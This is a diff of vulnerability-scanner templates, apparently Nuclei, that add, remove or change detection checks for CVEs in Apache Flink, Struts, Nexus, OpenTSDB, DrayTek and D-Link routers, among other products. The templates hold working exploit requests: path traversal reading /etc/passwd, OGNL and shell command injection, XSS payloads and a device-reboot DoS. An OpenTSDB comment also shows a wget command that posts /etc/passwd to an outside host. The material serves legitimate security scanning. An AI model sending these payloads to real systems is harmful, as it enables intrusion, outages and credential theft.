||||
- "<img src=x onerror=alert(1)>"
|
||||
- "><img src=x onerror=alert(1)>>)1(trela=rorreno"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
|
||||
@@ -9,7 +9,6 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
|
||||
- "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
||||
@@ -18,7 +18,6 @@ requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/_async/AsyncResponseService"
|
||||
- "{{BaseURL}}:7001/_async/AsyncResponseService"
|
||||
body: >-
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
id: CVE-2019-7219
|
||||
|
||||
info:
|
||||
name: Zarafa WebApp Reflected XSS
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/webapp/?fccc0\"><script>alert(1)</script>5f43d=1"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "\"><script>alert(1)</script>"
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "text/html"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -19,7 +19,6 @@ requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/api/timelion/run"
|
||||
- "{{BaseURL}}:5601/api/timelion/run"
|
||||
headers:
|
||||
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
|
||||
Content-Type: "application/json; charset=utf-8"
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
id: CVE-2019-9955
|
||||
|
||||
info:
|
||||
name: CVE-2019-9955 Zyxel XSS
|
||||
author: pd-team
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?mobile=1&mp_idx=%22;alert(%271%27);//"
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "\";alert('1');//"
|
||||
- "<title>Welcome</title>"
|
||||
condition: and
|
||||
@@ -1,27 +0,0 @@
|
||||
id: CVE-2020-10199
|
||||
|
||||
info:
|
||||
name: Nexus Repository Manager 3 RCE
|
||||
author: hetroublemakr
|
||||
severity: high
|
||||
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
|
||||
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/rest/beta/repositories/go/group'
|
||||
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: '{"name": "internal","online": true,"storage": {"blobStoreName": "default","strictContentTypeValidation": true},"group": {"memberNames": ["$\\c{ 1337 * 1337 }"]}}'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "1787569"
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 400
|
||||
@@ -1,25 +0,0 @@
|
||||
id: CVE-2020-10204
|
||||
|
||||
info:
|
||||
name: Sonatype Nexus Repository RCE
|
||||
author: hetroublemakr
|
||||
severity: high
|
||||
description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
|
||||
# reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/extdirect'
|
||||
|
||||
body: '{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{1337*1337"]}],"type":"rpc","tid":28}'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "1787569"
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -17,12 +17,6 @@ requests:
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}:8060
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
- |
|
||||
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
@@ -31,14 +25,6 @@ requests:
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}
|
||||
|
||||
- |
|
||||
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
|
||||
Host: {{Hostname}}:8060
|
||||
Accept: */*
|
||||
Cache-Control: max-age=0
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}:8060/
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: endpoint
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
id: CVE-2020-13937
|
||||
|
||||
info:
|
||||
name: Apache Kylin Unauth
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
description: |
|
||||
Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0,
|
||||
2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4,
|
||||
2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,
|
||||
3.0.2, 3.1.0, 4.0.0-alpha has one restful api which exposed
|
||||
Kylin's configuration information without any authentication,
|
||||
so it is dangerous because some confidential information entries will be disclosed to everyone.
|
||||
|
||||
# References:
|
||||
# https://s.tencent.com/research/bsafe/1156.html
|
||||
# https://nvd.nist.gov/vuln/detail/CVE-2020-13937
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/kylin/api/admin/config"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
condition: and
|
||||
part: header
|
||||
- type: word
|
||||
words:
|
||||
- "config"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -19,7 +19,6 @@ requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/context.json"
|
||||
- "{{BaseURL}}:8181/context.json"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
|
||||
@@ -13,7 +13,6 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
- "{{BaseURL}}:8081"
|
||||
headers:
|
||||
X-Forwarded-Prefix: "https://foo.nl"
|
||||
matchers-condition: and
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
id: CVE-2020-16139
|
||||
|
||||
info:
|
||||
name: Cisco 7937G Denial-of-Service Reboot Attack
|
||||
author: pikpikcu
|
||||
severity: low
|
||||
|
||||
# Refrence:-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
part: header
|
||||
words:
|
||||
- "application/xml"
|
||||
- type: word
|
||||
words:
|
||||
- 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
||||
@@ -18,7 +18,6 @@ requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/run"
|
||||
- "{{BaseURL}}:8000/run"
|
||||
body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
|
||||
|
||||
@@ -15,7 +15,7 @@ info:
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/"
|
||||
- "{{BaseURL}}"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
id: CVE-2020-17518
|
||||
|
||||
info:
|
||||
name: Apache Flink Upload Path Traversal
|
||||
author: pd-team
|
||||
severity: critical
|
||||
reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /jars/upload HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
|
||||
Content-Length: 187
|
||||
|
||||
------WebKitFormBoundaryoZ8meKnrrso89R6Y
|
||||
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
|
||||
|
||||
test-poc
|
||||
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
|
||||
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- 'contains(body, "test-poc") == true && status_code == 200' # Using CVE-2020-17519 to confirm this.
|
||||
@@ -0,0 +1,23 @@
|
||||
id: CVE-2020-17519
|
||||
|
||||
info:
|
||||
name: Apache Flink directory traversal
|
||||
author: pd-team
|
||||
severity: high
|
||||
description: A change introduced in Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process.
|
||||
|
||||
# Source: https://github.com/B1anda0/CVE-2020-17519
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,26 @@
|
||||
id: CVE-2020-17530
|
||||
|
||||
info:
|
||||
name: Apache Struts RCE
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
|
||||
# Forced OGNL evaluation, when evaluated on raw user input in tag attributes,
|
||||
# may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.
|
||||
# References:
|
||||
# http://jvn.jp/en/jp/JVN43969166/index.html
|
||||
# http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
|
||||
# https://cwiki.apache.org/confluence/display/WW/S2-061
|
||||
# https://security.netapp.com/advisory/ntap-20210115-0005/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,27 @@
|
||||
id: CVE-2020-1943
|
||||
|
||||
info:
|
||||
name: Apache OFBiz Reflected XSS
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/control/stream?contentId=<svg/onload=alert(1)>'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<svg/onload=alert(1)>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "text/html"
|
||||
part: header
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,46 @@
|
||||
id: CVE-2020-24579
|
||||
|
||||
info:
|
||||
name: DLINK DSL 2888a RCE
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
reference: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- | # Response:Location: /page/login/login_fail.html
|
||||
POST / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: id,en-US;q=0.7,en;q=0.3
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Cookie: uid=6gPjT2ipmNz
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Length: 0
|
||||
|
||||
username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
|
||||
|
||||
- | # Get /etc/passwd
|
||||
GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: id,en-US;q=0.7,en;q=0.3
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Cookie: uid=6gPjT2ipmNz
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Content-Length: 0
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "nobody:[x*]:65534:65534"
|
||||
- "root:[x*]:0:0"
|
||||
condition: or
|
||||
@@ -24,7 +24,6 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/console/login/LoginForm.jsp"
|
||||
- "{{BaseURL}}:7001/console/login/LoginForm.jsp"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
id: CVE-2020-27986
|
||||
|
||||
info:
|
||||
name: SonarQube unauth
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
description: |
|
||||
SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP,
|
||||
SVN, and GitLab credentials via the api/settings/values URI.
|
||||
NOTE: reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it."
|
||||
|
||||
# Refrences: https://nvd.nist.gov/vuln/detail/CVE-2020-27986
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/api/settings/values"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- email.smtp_host.secured
|
||||
- email.smtp_password.secured
|
||||
- email.smtp_port.secured
|
||||
- email.smtp_username.secured
|
||||
part: body
|
||||
condtion: and
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,27 @@
|
||||
id: CVE-2020-35476
|
||||
|
||||
info:
|
||||
name: OpenTSDB 2.4.0 Remote Code Execution
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
description: A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory.
|
||||
reference: https://github.com/OpenTSDB/opentsdb/issues/2051
|
||||
|
||||
# Extracting /etc/passwd to remote host:-
|
||||
# /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20--post-file%20/etc/passwd%20http://my-host%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://example.com%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- plotted
|
||||
- timing
|
||||
part: body
|
||||
condtion: and
|
||||
@@ -8,8 +8,7 @@ info:
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
|
||||
- "{{BaseURL}}:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
|
||||
- "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
|
||||
@@ -20,7 +20,7 @@ requests:
|
||||
Content-type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
|
||||
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
|
||||
profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
|
||||
- |
|
||||
POST /magmi/web/magmi_run.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
@@ -17,7 +17,7 @@ info:
|
||||
|
||||
requests:
|
||||
- payloads:
|
||||
data: "payloads/CVE-2020-6287.xml"
|
||||
data: helpers/payloads/CVE-2020-6287.xml
|
||||
raw:
|
||||
- |
|
||||
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
|
||||
|
||||
@@ -14,16 +14,12 @@ info:
|
||||
- https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
|
||||
|
||||
requests:
|
||||
- payloads:
|
||||
port:
|
||||
- "80"
|
||||
- "443"
|
||||
- "8443"
|
||||
raw:
|
||||
- raw:
|
||||
- |
|
||||
GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
|
||||
Host: {{Hostname}}:§port§
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
|
||||
@@ -18,15 +18,12 @@ requests:
|
||||
- "systeminfo" # Windows
|
||||
- "lsb_release -a" # Linux
|
||||
- "sysctl kern.ostype" # macOS
|
||||
port:
|
||||
- "80"
|
||||
- "443"
|
||||
- "8080"
|
||||
|
||||
attack: sniper
|
||||
raw:
|
||||
- |
|
||||
POST /api/jsonws/invoke HTTP/1.1
|
||||
Host: {{Hostname}}:§port§
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
|
||||
Content-Length: 4938
|
||||
Accept: */*
|
||||
|
||||
@@ -13,7 +13,6 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
|
||||
- '{{BaseURL}}:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
id: CVE-2020-8515
|
||||
|
||||
info:
|
||||
name: DrayTek pre-auth RCE
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
reference: https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
|
||||
|
||||
# References:
|
||||
# https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
|
||||
# https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /cgi-bin/mainfunction.cgi HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: */*
|
||||
Connection: close
|
||||
|
||||
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,35 @@
|
||||
id: CVE-2020-9376
|
||||
|
||||
info:
|
||||
name: D-Link Information Disclosure via getcfg.php
|
||||
author: whynotke
|
||||
severity: high
|
||||
description: |
|
||||
D-Link DIR-610 devices allow Information Disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php.
|
||||
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
|
||||
|
||||
References:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2020-9376
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/getcfg.php"
|
||||
|
||||
body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "<name>Admin</name>"
|
||||
- "</usrid>"
|
||||
- "</password>"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -12,7 +12,6 @@ requests:
|
||||
Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
|
||||
path:
|
||||
- "{{BaseURL}}/index.jsp"
|
||||
- "{{BaseURL}}:8080/index.jsp"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
|
||||
@@ -24,21 +24,6 @@ requests:
|
||||
|
||||
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
|
||||
|
||||
- |
|
||||
POST /webtools/control/xmlrpc HTTP/1.1
|
||||
Host: {{Hostname}}:8080
|
||||
Origin: http://{{Hostname}}:8080
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
|
||||
|
||||
- |
|
||||
POST /webtools/control/xmlrpc HTTP/1.1
|
||||
Host: {{Hostname}}:8443
|
||||
Origin: https://{{Hostname}}:8443
|
||||
Content-Type: application/xml
|
||||
|
||||
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
id: CVE-2021-22873
|
||||
|
||||
info:
|
||||
name: Revive Adserver < 5.1.0 Open Redirect
|
||||
author: pudsec
|
||||
severity: low
|
||||
description: Revive Adserver before 5.1.0 is vulnerable to open redirects via the dest, oadest, and ct0 parameters of the lg.php and ck.php delivery scripts.
|
||||
reference: https://nvd.nist.gov/vuln/detail/CVE-2021-22873
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/ads/www/delivery/lg.php?dest=http://example.com"
|
||||
- "{{BaseURL}}/adserve/www/delivery/lg.php?dest=http://example.com"
|
||||
- "{{BaseURL}}/adserver/www/delivery/lg.php?dest=http://example.com"
|
||||
- "{{BaseURL}}/openx/www/delivery/lg.php?dest=http://example.com"
|
||||
- "{{BaseURL}}/revive/www/delivery/lg.php?dest=http://example.com"
|
||||
- "{{BaseURL}}/www/delivery/lg.php?dest=http://example.com"
|
||||
|
||||
redirects: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<title>Example Domain</title>"
|
||||
part: body
|
||||
@@ -0,0 +1,30 @@
|
||||
id: CVE-2021-3019
|
||||
|
||||
info:
|
||||
name: Lanproxy Directory Traversal
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
|
||||
# Refrence: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3019
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/../conf/config.properties"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "application/octet-stream"
|
||||
condition: and
|
||||
part: header
|
||||
- type: word
|
||||
words:
|
||||
- "config.admin.username"
|
||||
- "config.admin.password"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -0,0 +1,22 @@
|
||||
id: activemq-default-login
|
||||
|
||||
info:
|
||||
name: Apache ActiveMQ Default Credentials
|
||||
author: pd-team
|
||||
severity: medium
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/admin/'
|
||||
headers:
|
||||
Authorization: "Basic YWRtaW46YWRtaW4="
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Welcome to the Apache ActiveMQ Console of <b>'
|
||||
- '<h2>Broker</h2>'
|
||||
condition: and
|
||||
|
||||
# We could add a request condition block to only send this request if the
|
||||
# site response URL had activeMQ broker stuff in the source.
|
||||
@@ -0,0 +1,19 @@
|
||||
id: ambari-default-credentials
|
||||
